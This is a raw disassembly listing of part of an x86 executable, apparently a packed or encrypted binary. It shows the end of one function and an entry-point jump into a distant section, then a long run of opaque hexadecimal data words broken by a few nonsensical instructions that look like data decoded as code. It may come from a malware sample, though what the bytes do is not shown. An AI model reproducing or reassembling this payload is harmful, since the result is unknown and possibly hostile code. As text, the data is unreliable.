		mov	ebx, 1
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE259:				; CODE XREF: sub_4DE11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4DE11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4DE265:				; CODE XREF: start:loc_4DE076j
					; start+9Dj
		jmp	loc_53C6AA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4DE26A	dw 38E9h		; DATA XREF: start+77o
		dd 15233E0h, 8B98FCEFh,	0F3FF6B84h, 0F16B8401h,	0D85B03A8h
		dd 0BF0143BEh, 848B36ACh, 7DBDEF3Ah, 92BCAE84h,	0FF2103DCh
		dd 8173579h, 685478D7h,	696D6507h, 7D086164h, 3D33445Dh
		dd 0E0751DC2h, 312D3430h, 0F2EF0EE1h, 0AF102E21h, 43B82223h
		dd 2E2FFDFFh, 2435BFF8h, 0BA886A03h, 88FB0146h,	0F738AC11h
		dd 7F018D54h, 73655200h, 0E6726174h, 7A707141h,	0E1787C2Eh
		dd 71B2BF0Fh, 0FCAA112Eh, 1CC5728Bh, 22E860D4h,	0ED815D00h
		dd 64433EFh, 29951989h,	0C5B50D09h, 9185102Bh, 0BD83801Ah
		dd 0E013C120h, 8B0C1C74h, 0B8E289E8h, 0EFC2A169h, 2444701Ch
		dd 10143E77h, 0E8456A01h, 682981A3h, 783749Ah, 0A40DFE9h
		dd 7A894B25h, 0E9D5440Ah, 0EC021429h
		db 5Fh,	40h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0034DDh
; ---------------------------------------------------------------------------
		dd 8D84524h, 63400E6Ch,	7D810889h, 1D1980F3h, 8200F74h
		dd 0CC4783FCh, 4312FF45h, 36E1EB31h, 26BA61DCh,	4C2C90Ah
		dd 0C4810346h, 247FF7Ch, 35261049h, 80458D00h, 0C7085D8Bh
		dd 12198551h, 0A808D50h, 1888C3D1h, 0B89412Ah, 6BD8128h
		dd 0E3755D80h, 8D0A27A5h, 13B64BAh, 0E8A8075h, 5B24F4BBh
		dd 37AB03B8h, 0D0D37854h, 80E0FF3h, 0C1F7754Bh,	4647C3AFh
		dd 46184A49h, 0D142A8F9h, 818AAE61h, 0F6D7F0D0h, 0FC4528EEh
		dd 4EB284Dh, 3146F2ADh,	0F7403E80h, 0B9844DBAh,	0C7D8634h
		dd 433E7FEBh, 126D32F8h, 0E2A13F0h, 4A0510F4h, 4F065C1h
		dd 0D1F8D600h, 0E5C203E0h, 0DB332880h, 80301C8Ah, 7230FB73h
		dd 77390A0Ah, 0FBEBF405h, 149F22C9h, 0A0DD961h,	0BD08FD66h
		dd 0C33A7D1Eh, 1A10B00Ah, 0C30B7241h, 677460Ah,	188247Ah
		dd 0ECF0615Dh, 0CC7D83F4h, 0B06C7202h, 0DD76C00Ch, 26AA99A5h
		dd 1D3807F8h, 2A8A88Dh,	0FFC553Bh, 0BDA77882h, 38AA06B0h
		dd 8BA43F9h, 7082B983h,	6CBDFCA1h, 0FFE0036h, 75490747h
		dd 1722B9FAh, 1BB706Ah,	0F11D0EE1h, 2B7EB82h, 46868E60h
		dd 7450E38h, 360F6551h,	8A3B77D1h, 0F9E9C426h, 0F5105911h
		dd 670F8706h, 1A37F482h, 48FDCC40h, 2C5A0080h, 4CDEBCC3h
		dd 46CC3CC8h, 0F767A8F1h, 308C59C8h, 821034CBh,	5B004E39h
		dd 0B8100F76h, 7C043D51h, 613B76D1h, 9756446h, 8111D52Eh
		dd 0E4EC480Eh, 42479065h, 5C584D0h, 5996328Eh, 2A3C53CFh
		dd 629C204h, 8205718Ch,	0A8DD0EE7h, 812BFF98h, 22046077h
		dd 84C1341Dh, 7533F90Ch, 833FBC20h, 0EFB30ABBh,	9C023039h
		dd 8C4CEC41h, 0FCFFCC7Fh, 457F8640h, 8060E952h,	8C52C462h
		dd 1125044Dh, 26B1AA82h, 845A68ABh, 30564513h, 0EE825ECDh
		dd 2816455h, 8A2722EEh,	1310B9D5h, 43972923h, 52816B47h
		dd 178704E9h, 26C45A21h, 9481728Ah, 16089845h, 524221h
		dd 0BC6FF7C4h, 0C948E96h, 2C871028h, 0BDA326F6h, 8013E999h
		dd 6C3D3915h, 9F52E0h, 0E807BD5h, 0AF645B1Dh, 5491F900h
		dd 5CFE8BDBh, 0DA8D1D67h, 3D02D810h, 0E21F81FDh, 0B0F8C05h
		dd 4886C6CAh, 0A085EC1Dh, 28C675Ch, 86C8FDD9h, 84883012h
		dd 0DC810322h, 0D1A161C4h, 0C7E7DC83h, 34EA621Ah, 11821D21h
		dd 83C08119h, 4705746h,	3DD952B8h, 82000122h, 8E8CCBC4h
		dd 34868A58h, 23202E7Eh, 1A10F671h, 9B4318EAh, 0B62B7600h
		dd 5B6F3B9Bh, 0A4E0EE1Dh, 0A767FE80h, 6F3E9061h, 5F8FF6FFh
		dd 0F3500312h, 27F7517Eh, 0BCBAD05Bh, 0F4E36281h, 6D6116C7h
		dd 0B87DC06Fh, 0C8F077D1h, 0B64004Eh, 0D0F4BC8Ah, 8C004CCAh
		dd 59DA8107h, 5C2F182h,	10561676h, 0E0B66383h, 885CC1F8h
		dd 0BB067401h, 36408719h, 1829E9ECh, 281B4E43h,	169851D1h
		dd 0DC4C5E03h, 79034h, 84B00D9Ch, 8F1005EFh, 0C5B1B6Bh
		dd 0BA0B8Bh, 28E45408h,	0D093503Fh, 672AF507h, 2340992Bh
		dd 4C8E325h, 0F0845CF9h, 270C8202h, 0BEA23h, 0C8D3470Bh
		dd 0C371CE3Ah, 1ED5A81Fh, 0C11F45D8h, 95F70074h, 487EC0FCh
		dd 6015CBDh, 53DDEC8Eh,	10E0E5A8h, 50FCA48Dh, 184FEAh
		dd 5CBF5B9Ah, 512113B0h, 0F5914400h, 47B7DB89h,	0CB1D0B5Eh
		dd 592057EAh, 0B87EF01Eh, 0BB5B400h, 0EF77CC6Bh, 0B1EA07CDh
		dd 60BA750Ah, 4EBC0D42h, 3BA76A00h, 255A0BDDh, 0D7791EE7h
		dd 2A0ACEC6h, 0DCCFDE1h, 0E53083D0h, 34D78C0h, 0E0973111h
		dd 3BC8C427h, 4FF84160h, 0A20B8A00h, 7A822FB7h,	7538CFA4h
		dd 43867118h, 16196100h, 0D726AFCEh, 0D018C7F9h, 2F18F062h
		dd 0BD0033D5h, 0BB307D27h, 9B6D1h, 14A4EF01h, 79716E18h
		dd 0FDD7E21Bh, 4124C839h, 7C52011Fh, 304844D4h,	3580D4B0h
		dd 71556800h, 4F61E8BFh, 72B80056h, 4AF3C62Ah, 0D0F797DAh
		dd 37078789h, 5DCCF292h, 0AA69D1C0h, 0C457C77h,	1E9BB809h
		dd 7488F270h, 0B2A30746h, 8E2602DAh, 0D0E3CD87h, 71798B01h
		dd 9E3C2E02h, 0A04BD8CFh, 95E37F94h, 0FDF0EFh, 0C46AAFFh
		dd 0ED4DD84Ch, 104FA8A1h, 0A8CF9777h, 0C9F4D794h, 5680D471h
		dd 749C5423h, 17FFE200h, 0CE3099CAh, 7AFEEA7Eh,	4BD0A8CDh
		dd 1F5AFA21h, 835EC386h, 0C49BBC76h, 0EB35A9A1h, 0E087100Fh
		dd 44B88275h, 5DC1010Ch, 760880ACh, 0BF8C6302h,	0C29F00A0h
		dd 9123135h, 0AFABDDEh,	0E2591B00h, 391FFDA1h, 0A73A38F9h
		dd 42D5A200h, 8DD80D0Bh, 944B4705h, 0ECC0ABD3h,	1EEDFE2Dh
		dd 965EA41Eh, 4C090113h, 86B9B3FCh, 0CF695C20h,	45613A99h
		dd 0D58E0DF4h, 0F090C6FAh, 4C004F0Ah, 77CFC385h, 0DEDAE38h
		dd 0F80DF77Dh, 88208880h, 0FDC01A3h, 80072CE2h,	3E101DD9h
		dd 0B0C4ACh, 1369C2B3h,	33C6BA49h, 0A294A900h, 86709C1h
		dd 0D540C790h, 1AED40A5h, 0B3303684h, 0D6B1B025h, 0A472002Dh
		dd 94B756C6h, 0F20054D0h, 0F98B03B3h, 7B5BD5B9h, 0C41A1809h
		dd 0EB4AB98Fh, 25781500h, 0C22E40A3h, 27FD0859h, 84009675h
		dd 6A811A8Dh, 0DA80A8F2h, 238A0029h, 2EE07C0Ch,	22011DE9h
		dd 2D9303D1h, 0F888F9C2h, 0C705E105h, 24C37FA1h, 0ED100C94h
		dd 4F887276h, 0CE73360Ch, 6235B8CFh, 0A2CC94Bh,	0F0038CA7h
		dd 6694F955h, 6846CF01h, 2BCD167Ah, 2448F960h, 73775Ch
		dd 540BB3CEh, 3D1823EEh, 4E480DC3h, 9BA026BBh, 0ABD2027h
		dd 0ADF381CCh, 452F00E8h, 90680493h, 0F0A4D928h, 62F844h
		dd 0B22AA039h, 1B6D5377h, 2F2CC10Fh, 0EC680AA3h, 4D319028h
		dd 0F56AD0EFh, 2FC83980h, 0BA1CE412h, 0AB84740Fh, 0A42C80E7h
		dd 0A6066ACh, 35B7D55Ch, 0E4503DFBh, 8DF71875h,	0CB56489Eh
		dd 0D65F9118h, 200D23A0h, 0CE027A6Bh, 2CA3853Ah, 7FC10009h
		dd 0D100B969h, 0C7D443D5h, 5DF04Fh, 6F58A218h, 0FE8DA591h
		dd 1718FDB8h, 0F760F11Dh, 0C3C83EB1h, 79FCD4h, 0AB87FA82h
		dd 0AAA25F2h, 0DC9CA6Fh, 5EE069F8h, 794C01FAh, 7850AA88h
		dd 9FB8988Ah, 81AFE0C9h, 7709E0D6h, 509293E0h, 20A90F0Eh
		dd 88507230h, 5DE91C9Ch, 1E8E59F0h, 0A87D13h, 42969FD5h
		dd 0A45EA1A3h, 0A02221CFh, 1EC8D8FCh, 5CA801A7h, 3C03B9E1h
		dd 0CC18F90h, 71856C67h, 72B7180Dh, 2303B97Eh, 9B298163h
		dd 8122C2A2h, 0E468D21Ch, 2F7300DEh, 90A09BC7h,	48910704h
		dd 0B2377600h, 6085390Ah, 788739BBh, 0C850E2ACh, 7012B9D0h
		dd 0C440A1BAh, 210B121Eh, 692728FFh, 3A701D8h, 0D9A8E904h
		dd 0F870D1CAh, 0A00B693h, 8DD3C71Dh, 1F72BE9Ch,	9E8B4975h
		dd 2A0180EBh, 0B59E56DEh, 763A2E7Dh, 1A80005Fh,	0D571427Dh
		dd 7AEB18DBh, 84DD105Dh, 175C67Ch, 88554000h, 0D3CDEC32h
		dd 0D62A0009h, 0B14960F7h, 4802D974h, 0B503442Dh, 0B8C040ACh
		dd 31DB045Eh, 80E5A9E9h, 4F88A894h, 5DE07054h, 5AC44954h
		dd 80F3692Ah, 0EF00427Eh, 0E9DDB960h, 2474CDh, 7B0939D3h
		dd 3B8C0B7h, 8B42F52h, 0A020070Ah, 0FB99208Ch, 55339E13h
		dd 86C9F408h, 71BBFAF2h, 5083B412h, 0F8612C24h,	0A4F3770Ah
		dd 5010B409h, 5C9102A9h, 0A7F9EC04h, 9D12A090h,	0BBA104AAh
		dd 0C014EF5Eh, 0A6550408h, 0F9CD9F04h, 0B490B58Bh, 0C911BF25h
		dd 980E7F20h, 5602E5A8h, 407082DBh, 142D6F8h, 830B3959h
		dd 93183F0Eh, 821A430h,	54402E03h, 40AC8082h, 20CAFD8Ah
		dd 8C118CE5h, 4E246A2Ch, 155496E0h, 0A9268BE0h,	0A140B003h
		dd 1F3ECF5h, 0AB6CB351h
		dd 2489B068h, 90C1074h,	10AC4C07h, 9AE40028h, 0B75CB8C2h
		dd 56005202h, 2E611BF0h, 7C46A4E8h, 4B4E2AECh, 66D7898h
		dd 0EFF7F172h, 230C9082h, 0D0276745h, 96A9EC31h, 5E8933CFh
		dd 4DB440C5h, 0C6D05F15h, 10008AE8h, 9B084E7Fh,	91AEB84Ah
		dd 9E0E80ECh, 3205A66h,	7873C007h, 58F0BC7Fh, 62122D9Bh
		dd 9AC8C05Ch, 4543A10Ch, 7D2410FBh, 77F4BE92h, 80FE4F3Ah
		dd 0C0C29455h, 26730AA9h, 1B8B976h, 0DCA2E8FAh,	0C5B443BEh
		dd 0AA8B94Ch, 0E4931530h, 28215F17h, 2180032Ch,	0D61D6C6h
		dd 0D800DE15h, 0BFD18CF4h, 1C924FA9h, 0E62F7736h, 0AA5D0C04h
		dd 540E5191h, 5D41A146h, 9CEE33C0h, 2CDA565h, 2358C171h
		dd 3CC8AB5Dh, 9F6184F2h, 0F90EA939h, 23074042h,	9080C8EAh
		dd 3800F198h, 464E9C3Ch, 0E4D58h, 6F4BA872h, 0A6604F50h
		dd 0A37694A0h, 58E73E3Ah, 0FDA40308h, 1FF0E12Fh, 9CC41E0h
		dd 9F02E25Ch, 6C40AC37h, 3892B3C3h, 9056941Dh, 2100E7ECh
		dd 5B4C12B6h, 1D7D01E3h, 80997647h, 0AFE2E4B9h,	280B06E2h
		dd 0AF0BB44Bh, 7FE1808Ch, 916A6CD5h, 0F590FB4h,	86714460h
		dd 1906E753h, 0CD367AE8h, 50B71828h, 2103E97Dh,	0E7898461h
		dd 54208CA4h, 0F8085272h, 283FB022h, 6C608056h,	98C8EED5h
		dd 0A99ACF3Eh, 4D8DD45h, 6350BB0h, 41022Ch, 4C9DF120h
		dd 0E214D46Ch, 0ECA7D503h, 0CA8F7F2h, 3A0B5C59h, 2F443540h
		dd 3BDC00A1h, 0F30EBB6Fh, 0BA017A57h, 0B1CCE169h, 1074A35Bh
		dd 36062A5Dh, 0A1FC21E8h, 0D901C391h, 47DD2784h, 347834CFh
		dd 0EC7301F7h, 40287420h, 4CB8D4A9h, 52A6B20h, 0AD18200Eh
		dd 0CE00195h, 207CC01Fh, 30290338h, 0F32898B8h,	90D30B30h
		dd 402B3E8Bh, 0FF0CA414h, 40846D2Fh, 0A87871B8h, 60F47288h
		dd 8D24182h, 0C09AA088h, 3069D326h, 0C8B0F340h,	0AC6B01B6h
		dd 0B2498C9Eh, 0C93DDCBEh, 0C42AC313h, 3C086452h, 87280088h
		dd 0B9104FB8h, 0D0D668CCh, 487848ABh, 81012C19h, 0B4B5F47Ah
		dd 3F123Fh, 0E59DAC9Bh,	0AF6D80Ah, 0A2FDF284h, 8A4A4A4h
		dd 2C0D276Fh, 0AC60593Dh, 0D1F84029h, 10C8034Ch, 8E00F021h
		dd 0C38115Bh, 0EF28AC4Bh, 2E0B8CB3h, 83D5DC76h,	9249F98h
		dd 43B44C50h, 735B8420h, 77016C0Ch, 1445C9C4h, 8457CB69h
		dd 0C78E1C90h, 0B2580012h, 0EE74FC9Ch, 92EA7F09h, 8380F8CBh
		dd 4AB506Dh, 192028A1h,	0A1CC01E2h, 9C202EA8h, 51C200F5h
		dd 0E6B4B359h, 8F8080F1h, 0C9301825h, 268C30E3h, 26270638h
		dd 0B70560C2h, 9C427B4Bh, 50A91FFDh, 0E1786498h, 904413B6h
		dd 0BC50A2FFh, 0E822731Ah, 0CA3848A2h, 1772EC27h, 421C89ABh
		dd 941B40A0h, 88BB54C7h, 0DC4F1235h, 0FD38077Eh, 0D2D12C27h
		dd 8ED8200Ch, 403919C3h, 80E16A97h, 28BA8F61h, 0D5D4DBh
		dd 0DA36995Ch, 0FD7AE79Ah, 8B30213Ch, 8532B159h, 94D0ADDDh
		dd 5D4F09B3h, 5F19D4E4h, 4EBCC998h, 0C40C1004h,	734F3605h
		dd 0B554057Bh, 33D4C8EDh, 9C317C45h, 0F0075F1h,	8460C3FCh
		dd 31EA5278h, 89E075Ah,	87887943h, 8757404Ch, 8F61F41Fh
		dd 0ED278190h, 881C0028h, 0D4243C34h, 304D93ACh, 8EC4CCC0h
		dd 19F1A1C1h, 0A720209Dh, 83853D39h, 0CE237581h, 5E547AEDh
		dd 0B0E02230h, 5CDE03A1h, 3BEEEBD8h, 7A34C0B5h,	98B859ACh
		dd 8E29C462h, 0C9F04ADDh, 0C881F760h, 73C1E988h, 0A284017h
		dd 8CA82F4Fh, 5A6AD4FFh, 8C895CB0h, 2D6CA2AFh, 0C3089043h
		dd 14B8AA0Eh, 0BA7491ACh, 452D13FAh, 16A04186h,	80DC27FAh
		dd 0B7A28379h, 0D2824525h, 27FC0421h, 0A4444181h, 18550FF7h
		dd 0F07E480Fh, 0C81B250Ch, 0B08BE771h, 0F09D36h, 0A3A8F879h
		dd 0EF13DA01h, 0D3D0AB61h, 13D78CC2h, 18435B41h, 12DEE98Ch
		dd 3337740Ah, 8C00A83Ch, 0E0827556h, 9D8828BCh,	4D44498h
		dd 227A08EDh, 0CA1251C3h, 4880A42Ch, 0E1E2DD6h,	62E1AF0h
		dd 54BD849Dh, 0CDC88044h, 61187E49h, 0C3B9CE5Bh, 0CFC8C848h
		dd 620B4B80h, 330633B4h, 84616425h, 8D271010h, 0FA09BC01h
		dd 7071AB3Ch, 75884ECCh, 28CE5642h, 94DCAC8Ah, 0FDE02881h
		dd 58C2A6B6h, 87A7F9h, 88FC02Eh, 1B3D609h, 7C70A277h, 92000EBCh
		dd 9548F3CDh, 0C1404753h, 4DB7FC0Ah, 0CB016032h, 7E769F8Dh
		dd 3BC9F859h, 82FCFE58h, 8573546Ah, 54891CD0h, 853CB5D2h
		dd 41682606h, 0B20EABA4h, 22CC63BBh, 643485A0h,	0FE702F4Ah
		dd 9E8D016Eh, 695A99DDh, 8CD182CCh, 608ADCB5h, 280B62E4h
		dd 8F48B02Ch, 0B00C11BCh, 922201A9h, 3FD1FBDCh,	2A030820h
		dd 78A8A425h, 48794EC6h, 7B94AAD4h, 11972154h, 6D4D0120h
		dd 7A4AB739h, 0FBF77180h, 0B1FFBF84h, 6AD1AB00h, 922CE808h
		dd 7020D5BAh, 0FCBD9E0Fh, 2803C3C1h, 48183BFh, 0E22D7733h
		dd 62099BAh, 315DBC48h,	8D308832h, 249C201Bh, 5C12D0FFh
		dd 1DCC443Eh, 1820A9FEh, 38803D6Ah, 4700BFEAh, 0EC1FDDD0h
		dd 1FC5F25Dh, 807295C4h, 6045BBAEh, 0B3003506h,	9B7B7554h
		dd 9A77C3h, 0C1794294h,	0CB47615Bh, 0DFDDC202h,	8F3CE845h
		dd 0AFF560AAh, 955EFAh,	4AE398EFh, 0C4F07773h, 40C12CE8h
		dd 6460CF7Fh, 0E6DD3000h, 0CDCA220Eh, 934D80FEh, 0AAF592h
		dd 0FF3502A3h, 0F04C8A8Eh, 9A38D31Fh, 0D084F8C0h, 10476EA4h
		dd 1F1E2EF4h, 0C86ECDCCh, 46A8745h, 0F7F854BEh,	1212C74Ch
		dd 0D800CA30h, 9A918045h, 574200F5h, 0BFF40BC1h, 9E007640h
		dd 0ED2C3DC4h, 6CD8841h, 0FF71A051h, 460740C2h,	23B50AF2h
		dd 0CA92403Fh, 0F8A355h, 7342CE3Ch, 91155B43h, 0BBEB7900h
		dd 9C54FC8Ch, 0EE198047h, 98F75320h, 0ADFE61h, 0EA35EF4h
		dd 8A4BE810h, 4000807Dh, 46AF983Eh, 38A1FB78h, 1400715Fh
		dd 0E52FEE28h, 4704CE0Ah, 0E6AD894Bh, 942E38C5h, 2E097FBBh
		dd 0E59E220h, 0A48006Ah, 0F492FEh, 409A353h, 4B7A8ECEh
		dd 78399E0Eh, 79813D96h, 8C6E9DF6h, 188C60h, 0D18B5DE3h
		dd 916195B8h, 87F5B000h, 0CF32FA72h, 7FC51h, 70681CA7h
		dd 0F686B7E4h, 40A09930h, 40E81EC8h, 9500CA60h,	0F292F844h
		dd 1D065887h, 80C0E238h, 4C399A35h, 0BB00992Ch,	6E60FB86h
		dd 1D29818Bh, 8022EC1Eh, 4324C13Ah, 0F22C94F8h,	0D4D58C91h
		dd 0F590420Eh, 45E120DDh, 0E8CA3CE5h, 9F8B007Eh, 15A391A6h
		dd 6880FC0Bh, 4B3A07EFh, 4043F09Ah, 476D60C2h, 2400DDE8h
		dd 0C9D094E3h, 7A2EB8h,	0ABE697FBh, 0F4430560h,	38744C00h
		dd 6A4D4086h, 389E7DE4h, 7280A1C1h, 0FB1BD984h,	3600F65Fh
		dd 880A29BAh, 42BBBCh, 0CD0C2BA3h, 9C358941h, 690077EAh
		dd 0C376B799h, 4D6454h,	0F0151084h, 0B5C88B21h,	0AA4AE8E9h
		dd 9E51F402h, 0C1CA43F5h, 93104EACh, 851441ECh,	91889BF6h
		dd 0FBBF04h, 1D6AC2BAh,	6D3A57h, 36C65EF6h, 8C766017h
		dd 675834A5h, 0EAAB001Ah, 0D55DF49Ch, 16E81D38h, 0F0A2800Ah
		dd 6AE01CDAh, 0F8B924E6h, 0F06CF8ABh, 0E121C0CDh, 4CFAE5CEh
		dd 44198CBEh, 2180FF09h, 0C5E5C681h, 4201EFB8h,	563E3601h
		dd 293E41B7h, 4AD0D7F0h, 2100A6B5h, 29B345E2h, 55B0Eh
		dd 0C0959B93h, 76A87F0Bh, 0FC1978BEh, 0F2BA410h, 7520F778h
		dd 87A73AE4h, 257D6000h, 687FEF45h, 0EAC10690h,	38BEF795h
		dd 74405A5Fh, 30CB9478h, 0B97C058Ah, 62CEA573h,	0AE05AB1Ch
		dd 2FF4B4h, 629C6E25h, 5D4AC290h, 4BF2FA38h, 5B424090h
		dd 4E9B0316h
		dd 0A55EBA82h, 0E89C1900h, 623D60Eh, 3B7A25F0h,	809D2041h
		dd 0EFF6121h, 1B77DBFh,	0C28A8214h, 10986004h, 6ECB40h
		dd 0E706D37Bh, 0F9A93A45h, 71C0A200h, 2FDEEF91h, 0B4475048h
		dd 4A8F00D5h, 8DAF040Bh, 20052356h, 10FB4526h, 0ED28D8F4h
		dd 670C8450h, 0A48F5224h, 0BF85D11h, 0E035FAF2h, 7A2DECh
		dd 9AF903A4h, 0E1BDFFAAh, 2FFDA106h, 0C309D09h,	0B0AC4F0Ch
		dd 1F02AF48h, 0A814D9E1h, 0E918486Fh, 0C4C612C1h, 0A72C4083h
		dd 954B7B9h, 0A51A900Dh, 0F70902h, 0B7B1C721h, 0A8D33CB6h
		dd 0FD403709h, 88FC585Fh, 0BC5EB1D0h, 0E2D68388h, 43FB2186h
		dd 770403CFh, 0FA63B7D8h, 8B00AF71h, 0A8FDA6CCh, 4244A3h
		dd 22047EF5h, 0C4DB0D30h, 507650C0h, 0B5F2Ch, 747C2DC5h
		dd 779CEEF5h, 3DD1FC3Bh, 933B008Dh, 5D0760Bh, 0A35D3774h
		dd 3ADB9081h, 30E2EB17h, 0C009A7Eh, 5C6CD222h, 2506153h
		dd 0BCDF71B2h, 0CCF229F7h, 4351161Eh, 0CD1C60A7h, 0E09CCF5h
		dd 69003621h, 0DC4BFB43h, 0E4761739h, 0C1CB4A21h, 58C8C128h
		dd 0B708BBA8h, 0C4C0095Eh, 0B3C15CBEh, 0E0A31DB7h, 0B531F7C0h
		dd 10049401h, 0BF582001h, 0EE5048Ch, 621E23D3h,	62279Fh
		dd 0FDE6390Eh, 3FB36D0Fh, 77DDA052h, 484E4F35h,	1D06D46Fh
		dd 68CACD20h, 0FF06F702h, 0A0FC9A02h, 738C4CC4h, 4EACA0A4h
		dd 5F441D84h, 0C133806Ah, 0F9603DB9h, 3C9882F4h, 0D3015146h
		dd 0F14CE7E5h, 88E60C88h, 0E500CB8Ah, 0C1B8677Dh, 68905D4h
		dd 5DA39A73h, 0FF00C1ADh, 0E63D5F1h, 1EF9557h, 0BE3511D2h
		dd 0ADB78C27h, 0B4E4A8B0h, 829FCC11h, 60095AB7h, 0CD10B331h
		dd 0E14CB7BFh, 782274h,	2054126Eh, 955C42C5h, 0EC7C0778h
		dd 0C82C49F1h, 92353B7h, 0BB11B8h, 4FB7B4C2h, 87067Ah
		dd 50B32370h, 0B21F09F7h, 955EB8A8h, 737DE1C0h,	5C49B0h
		dd 0E1069AEh, 2C9748C3h, 88173E01h, 606BA367h, 0EB00A022h
		dd 210F9C74h, 6F7033ABh, 0DEC6A602h, 60BBD289h,	8092B10Ch
		dd 0F92AF282h, 0A9019064h, 23C73D60h, 60CE4735h, 32F7A630h
		dd 78288DB4h, 3F45A22Fh, 19B4417Dh, 0E0DC4E3Bh,	8830F489h
		dd 0A511435Eh, 0F8460FDh, 563700B9h, 3C6AF43h, 284446DAh
		dd 5FC841C8h, 8F2699B2h, 8B09E0DFh, 0B1749922h,	78AAA051h
		dd 1AC4D4DEh, 6C4071AEh, 2660273Dh, 1FFFA130h, 68F14C6Dh
		dd 0F978884h, 4D724503h, 8085085h, 0B741CFC7h, 18A8095Dh
		dd 0BEC488BDh, 161B70Eh, 53270403h, 688C3090h, 0BC61CE94h
		dd 0AFAA8820h, 1B0790D0h, 0E2CE114Eh, 123051CBh, 6B8408F4h
		dd 0F9E5A1CEh, 0E818C14Ch, 1FC58488h, 80D7AAE5h, 4E249EBh
		dd 1338DA55h, 9E5AF828h, 0C44FD0D0h, 0F9B1C0B4h, 5C1DE9DBh
		dd 8D9BDD00h, 4A015347h, 3C5400EBh, 826BFF97h, 0FA602D1Fh
		dd 49A9F940h, 741C02AAh, 537FEDBh, 0CE00E45Ch, 0F1167730h
		dd 0D0AF4E83h, 0BC68D3D0h, 149C59h, 0ECB1D858h,	2D1F875Bh
		dd 44E9160h, 447F0C39h,	592F2775h, 4F36F4C0h, 0FC31A63Dh
		dd 0FD462490h, 0A2435F0Fh, 11C43848h, 43573C40h, 0A0002F0Dh
		dd 0BFE5F438h, 565D4ABh, 0B1C372B9h, 84CCAC83h,	108012B7h
		dd 2466731Bh, 888FB40h,	664FC19h, 0BEA40852h, 0D20EFCC0h
		dd 0EDE62123h, 65039191h, 92B30EF3h, 6B0619C1h,	68825C20h
		dd 1FA34080h, 0EF852010h, 911BE201h, 26E46036h,	0C43A7310h
		dd 0B8C07AB1h, 605F3F44h, 4BF100E6h, 0A0015D68h, 0F578581Ah
		dd 58C40D26h, 0F708F40h, 9C0B015Eh, 575A36B0h, 31C4DCCAh
		dd 4DCCD900h, 5DBA3EF2h, 0E00E482Bh, 8F10DC48h,	0D2F03A1h
		dd 0E261EE11h, 0BF705C2Ch, 0A371D285h, 0BAA801ACh, 64691FFDh
		dd 6490FC5Ch, 116FAC80h, 0F045C280h, 806B305Dh,	57B44E60h
		dd 58BB8440h, 884E9EB8h, 0EF48899Ch, 4425B2D0h,	4868A1C8h
		dd 80C417ECh, 0E0314F0Ah, 0F1C62894h, 3C794BE0h, 311E5988h
		dd 0ACAB5EC9h, 32F42138h, 0B44C57A0h, 0BAE5D138h, 0FF22C64Ch
		dd 0F9C9903Fh, 0C3E0E80Ch, 7C89B6h, 0EC6C4819h,	2F40F21Ch
		dd 561B4209h, 11E41DFAh, 2A9180E6h, 0BE5445h, 0B7C85726h
		dd 0DA3C4B1Ah, 38C0049Dh, 2F0B905h, 0C482E280h,	9428C47h
		dd 983418BCh, 9F252D09h, 140F821h, 11F6CCAFh, 41C2F72Ah
		dd 8C33D0h, 444DB8BCh, 0D53CF5C7h, 96010271h, 65DFC2E9h
		dd 0BC0BE2F0h, 0C98B18h, 300538C6h, 73942A8Ah, 60F5172Dh
		dd 9F75B8D4h, 0C419A418h, 970D6A80h, 3804A489h,	0A4E220A3h
		dd 973B03DCh, 4F5B0CE4h, 31AEF089h, 1443228h, 4B712DDCh
		dd 0F475F9FCh, 48AB0C30h, 0AF384877h, 4009B793h, 0C6AC1C70h
		dd 3C500B42h, 1AEA46D3h, 0B88720B2h, 18B90D42h,	8A001EC6h
		dd 6B068E12h, 0D3F7F2E2h, 0D79C4941h, 0CFA44C20h, 5B302683h
		dd 4906987Bh, 588AE0C8h, 760910E0h, 24F83B8Ch, 80815D1Fh
		dd 4CE48313h, 0E7B7407Fh, 0EF674401h, 2DD9456Bh, 0C01D1FCCh
		dd 63FEC661h, 7B5E0839h, 3D241CC0h, 7481B50Fh, 54E1FC78h
		dd 0C0748290h, 80EE630h, 0F01623D4h, 67409464h,	0EFA90EFDh
		dd 63DA4500h, 0FFAFE26Ch, 0A5478CBh, 0ED8E23D8h, 0C1F10DF4h
		dd 0A2BC63A8h, 92430A6h, 0EAEDE100h, 0D99FC204h, 5A440110h
		dd 0A9773688h, 6394713Dh, 0BC0AA13Ch, 6266B0Ch,	53C03424h
		dd 4C6047ADh, 39258405h, 73B12480h, 4F2E09EBh, 5F85CC6Ch
		dd 84950AEh, 90002A73h,	6080FE11h, 50FDA743h, 0C4A09F8Ch
		dd 66435839h, 0E155441Ch, 559BD49h, 686ADF44h, 0F2062116h
		dd 0D020064h, 0A2702D9Eh, 0D164B1D5h, 4661897h,	0A906F0D9h
		dd 0C0A8FCB0h, 6D5C42C1h, 413FEB16h, 295A2FACh,	38206A05h
		dd 90DB5040h, 0DE331FA6h, 0F130C0A6h, 0DC12113Ch, 5112AC72h
		dd 0C80FD3D4h, 0C6BB203Eh, 31F2F46Ch, 5189A6FDh, 0F725E0FCh
		dd 2DCE20C6h, 0B5C437A9h, 3F726079h, 0F903CD05h, 917B394Eh
		dd 40AD9299h, 9FFCD148h, 0F25BC701h, 0F4493FBEh, 0C576822Dh
		dd 4E9CF6A9h, 0A6D39462h, 705E8841h, 0A540C060h, 0D11717FFh
		dd 0AC542895h, 34876213h, 12C4048Bh, 0CF1030B9h, 608F023Dh
		dd 0CE1B7182h, 0A46344F4h, 22879280h, 0CE9E527h, 0BC407A6Fh
		dd 47E88354h, 7CB80278h, 5E4D02B7h, 274014DCh, 75A2372h
		dd 68C8F136h, 9017F7ACh, 0DE27B2Ch, 71882B4Dh, 0B260E052h
		dd 0C079310Dh, 0C004C80h, 294144F2h, 0E2DDB6h, 0D2A9C8B1h
		dd 0FA5ED5A1h, 0F8406EF9h, 308038FBh, 5B15008Dh, 0B3F89089h
		dd 21D30A29h, 0F7DDBB00h, 93A62Fh, 6318B447h, 9816141Ah
